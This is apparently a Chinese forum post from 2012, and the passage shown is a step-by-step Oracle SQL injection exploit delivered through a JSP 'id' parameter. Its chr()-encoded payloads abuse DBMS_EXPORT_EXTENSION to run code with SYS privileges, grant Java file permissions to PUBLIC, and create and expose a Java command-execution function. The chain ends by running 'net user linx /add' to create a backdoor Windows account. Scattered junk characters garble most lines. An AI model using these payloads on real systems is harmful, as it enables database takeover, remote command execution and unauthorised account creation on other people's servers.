chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||2 J0 e6 v$ r, t: [' J t
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
/ S, A ?0 I5 a, a2 b9 z8 Dchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
" h! b" V [3 R! Jchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||$ ^. D* ]2 `% Q! V% F
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
# [$ o3 F$ i+ B# ~# V( qchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
/ e: t9 c! P2 }$ echr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
9 ~. N( n0 s! @; d: \; V' y5 J/ I,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual, K8 H- y9 U, o* h9 [, E5 Y
' w# e: c% d2 f5 @4 Y)
1 @0 E/ r y* g: A p+ W, u& ]5 Z% \$ Y9 }& w1 n) R: r5 j8 a+ }' ^
------------------------------
8 T) ]1 M$ C1 }" }+ J# l5 r4 r, A7 Z
2.赋Java权限& Z% R4 b: U1 u* h5 T! {* k
/xxx.jsp?id=1 and chr(49)<>chr(50)||(; Z, w5 A* R9 u0 x1 z: u
& v4 y5 M% Q" K. [ O1 h8 Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),/ J" A( t6 k/ j# Z. ^
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||1 R. n# a4 z3 u" z
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 ]- E) _, {5 b% a: y& k& Pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ Q, z5 G) i; G$ q, Jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
3 ]4 I/ m* N% e$ O. b! Z1 schr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||, F, j. [( r2 k; f/ h8 M" ? f& E
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||/ v! a+ T; ~, Q5 D
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||8 K& g0 B; H2 ^3 t- M; Y
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||) N. Z; _8 v; J& Z
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
8 U8 [2 M4 c8 w1 ]& J,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
, e$ M. e7 i9 ?' L- {
6 i5 y6 l9 }7 ]) `& B% t! e6 W3 f; m( b* s3 d
0 }- t5 j# Z8 w5 L- `1 xreadfile函数的ascii版就不写了，见谅。* k; i- P' S+ b( p- A' Y _
* r& x {8 Q" _3.创建函数
6 T4 }( @( C9 y( B
. e6 h0 |, F K# @0 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 l, a0 B& Z1 G$ e, D: U
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||2 @, _0 | K' x- S, O7 Z+ S
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||- j- j+ O# N3 t3 ^- K5 T6 M, `3 S3 Z
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' `0 ^* z( z9 E# wchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||8 o( }: k. ?4 m' K) l# J6 X+ [
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||/ h1 L; p* n+ L' K$ g8 y& s# r
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
Z% |# y: Z! d- n- Vchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
7 L+ u9 g" [ j/ v, bchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||! A ?/ h+ x0 }# L( x% q" H
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||$ B4 o2 d4 W- B. p* P0 h
chr(59)||chr(45)||chr(45)* c l* N! b. M u4 t0 ^
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual/ g) {) \7 B1 V2 ?8 W2 A; X
% L* ~, R: d1 j# F+ l X2 O1 h% _+ \$ b
) k4 u+ \6 g" M
; V' q0 u9 u. a# ~( i) D
4.赋public执行函数的权限
/ j' p9 A5 h( J! m6 b4 v6 Y) c
* W3 N4 P& S9 V' S. \; Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),, p6 H! u& c$ g' Q7 q$ x5 q6 e
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||# A3 s1 J' M' E# C8 z# U4 k+ m
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||0 M6 y8 P, J3 W8 R9 }. }' w
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 ?- x! J' `( ]6 b# S1 y$ J
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||6 M- ?% Y* Y0 G$ ?; j$ K
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||1 O( Z3 Q, h! C1 F
chr(59)||chr(45)||chr(45)+ f! m/ D: B" q8 y- @( C2 `5 s5 J8 Y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
6 d$ h5 J9 W& t3 [" O: D% c: \, \
" r! Q& Q1 ^* H1 `
! z' U Y7 V$ f6 @0 z F9 V" U6 Q! _3 I+ x# u6 m
5.执行命令：
8 K% Q; |* a$ G$ r% K# D& V& h+ N D2 |. \: U
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
2 n O7 P4 z$ Oselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 F' ]% \# [% Z( U+ A+ A)
( z, T, |, e% u6 ~ @' H
+ {: ^" k7 b. t& T即: ~$ P5 v* D3 u. a
/xxx.jsp?id=1 and chr(49)<>chr(32)||(/ K# [+ k+ }$ t W# j r$ Z
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
! {" h6 m' v2 q)0 p, O8 I+ R2 X5 ?
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发表于 2012-9-13 16:49:51
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